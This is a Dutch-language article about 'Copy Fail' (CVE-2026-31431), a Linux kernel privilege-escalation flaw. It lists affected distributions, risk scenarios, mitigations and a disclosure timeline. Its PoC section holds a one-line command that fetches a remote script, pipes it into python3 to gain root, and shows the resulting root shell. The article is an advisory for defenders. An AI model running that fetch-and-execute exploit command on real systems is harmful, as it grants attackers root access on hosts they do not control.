← Terug naar overzicht

732 bytes om elk Linux-systeem te kraken: episch lek bijna tien jaar onopgemerkt

itadol5j

Copy Fail-kwetsbaarheid

🚨 Episch beveiligingslek: 732 bytes raken alle Linux-systemen, bijna tien jaar onopgemerkt

Er is een“Copy Fail”gedoopte kwetsbaarheid in de Linux-kernel (CVE-2026-31431) openbaar gemaakt:

  • een 732 bytes grootPython-script
  • is 100% betrouwbaar, zonder race-window of kernel-offsets
  • treft alle Linux-distributies(van 2017 tot nu)
  • container-escape-primitive, cross-tenant-aanvallen
  • bijna tien jaar onopgemerkt, tot de openbaarmaking op 29 april 2026

Hetzelfde script werkt opUbuntu, RHEL, Amazon Linux en SUSE— zonder aanpassingen.

🎯 De kern van het lek

Eén enkele logicafout

Copy Fail is eenrechtlijnige logicafout:

  • geen race-window nodig: in tegenstelling tot de meeste Linux-LPE’s, die een race nodig hebben
  • geen kernel-offsets nodig: geen kernelspecifieke offsetwaarden vereist
  • 100% betrouwbaar: het lukt elke keer
  • hetzelfde script: werkt op alle distributies

De kwetsbaarheidsketen

De aanvalsketen van Copy Fail:

  • authencesn-logicafout: een logische bug
  • AF_ALG: via de crypto-API van de kernel
  • splice(): aaneengeschakelde aanroepen
  • page-cache-schrijfbewerking van 4 bytes: de uiteindelijke aanvalsprimitive
  • bijna tien jaar exploiteerbaar: van 2017 tot aan de patch

📊 Omvang van de impact

Officieel geverifieerde distributies

Distributie Kernelversie Status
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Geverifieerd
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Geverifieerd
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Geverifieerd
SUSE 16 6.12.0-160000.9-default ✅ Geverifieerd

Andere getroffen distributies

Ook deze distributieszijn getroffen:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Ingebed Linux

Conclusie: als je kernel tussen 2017 en de patch is gebouwd —dan ben je getroffen.

💡 Risicovolle scenario’s

Scenario Risico Impact
Multi-tenant Linux-hosts Hoog elke gebruiker kan root worden
Kubernetes / containerclusters Hoog aanvallen over containers en tenants heen
CI Runner / Build Farm Hoog een PR wordt root op de runner
Cloud-SaaS die gebruikerscode uitvoert Hoog tenant wordt host-root
Standaard Linux-servers Middel interne LPE, ketenbaar in aanvallen
Laptop met één gebruiker Laag privilege-escalatiestap na een eerste inbraak

🔧 Mitigatiemaatregelen

Optie 1: kernel bijwerken (aanbevolen)

Werk de kernel bij naar een versie diemainline commit a664bf3d603dbevat:

  • Wat de fix doet: draait de in-place-optimalisatie van algif_aead uit 2017 terug
  • Effect: page-cache-pagina’s verschijnen niet langer in de beschrijfbare destination-scatterlist
  • Status: de meeste gangbare distributies hebben inmiddels een patch uitgebracht

Optie 2: de module algif_aead uitschakelen (tijdelijk)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Impact van het uitschakelen van algif_aead

Component Impact
dm-crypt / LUKS geen impact
kTLS / IPsec geen impact
OpenSSL / SSH geen impact
AF_ALG-gebruikersruimte mogelijk impact

Conclusie: voor de meeste systemen heeft het uitschakelen van algif_aeadgeen merkbare impact.

Optie 3: AF_ALG blokkeren met seccomp

Blokkeer voor niet-vertrouwde workloads (containers, sandboxen, CI) het aanmaken van AF_ALG-sockets via seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 PoC-demo

De PoC voor het lek is openbaar, zodat defenders hun systemen kunnen verifiëren:

Snel starten

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

PoC-details

  • Bestandsgrootte: 732 bytes
  • Taal: alleen Python 3.10+-stdlib (os, socket, zlib)
  • Standaarddoel: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Waarschuwing: het script past de page cache van een setuid-binary aan; de wijzigingen verdwijnen na een herstart, maar de root-shell is echt. Voer dit niet uit in een productieomgeving.

📅 Tijdlijn van de openbaarmaking

Datum Gebeurtenis
2026-03-23 Gemeld aan het Linux kernel security team
2026-03-24 Eerste bevestiging
2026-03-25 Patchvoorstel en review
2026-04-01 Patch ingediend in mainline
2026-04-22 CVE-2026-31431 toegekend
2026-04-29 Openbare openbaarmaking

🔍 Ontdekker: Xint Code

Het lek werd doorXint Codeontdekt:

  • Scantijd: ongeveer 1 uur om de Linux crypto/-subsystem te scannen
  • Hoe ontdekt: door AI ondersteunde code-audit
  • Volledige analyse: root cause, diagrammen, operator-prompt
  • Andere vondsten: tegelijk nog andere ernstige kwetsbaarheden gevonden, nog in gecoördineerde openbaarmaking

Trackrecord van Xint Code

  • 0-day RCE: ZeroDay Cloud, veegde de databasecategorie samen (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: finale van de DARPA AI Cyber Challenge
  • DEF CON CTF 9×: succesvolste team in de geschiedenis van de DEF CON CTF

📝 Samenvatting

Copy Fail (CVE-2026-31431) iseen episch lek in de Linux-kernel:

  • 732 bytes raken alle Linux-systemen (van 2017 tot nu)
  • 100% betrouwbaar, één enkele logicafout
  • container-escape en cross-tenant-aanvallen
  • bijna tien jaar onopgemerkt, openbaar gemaakt op 29 april 2026
  • risicovolle scenario’s: multi-tenant-hosts, containerclusters, CI-runners, SaaS
  • mitigatie: kernel bijwerken of algif_aead uitschakelen
  • ontdekker: Xint Code, met een door AI ondersteunde code-audit

Bijna tien jaar verborgen: één script raakt elk Linux-systeem.

Website van het lek:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Technische analyse:https://xint.io/blog/copy-fail-linux-distributions

Kernel-patch:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5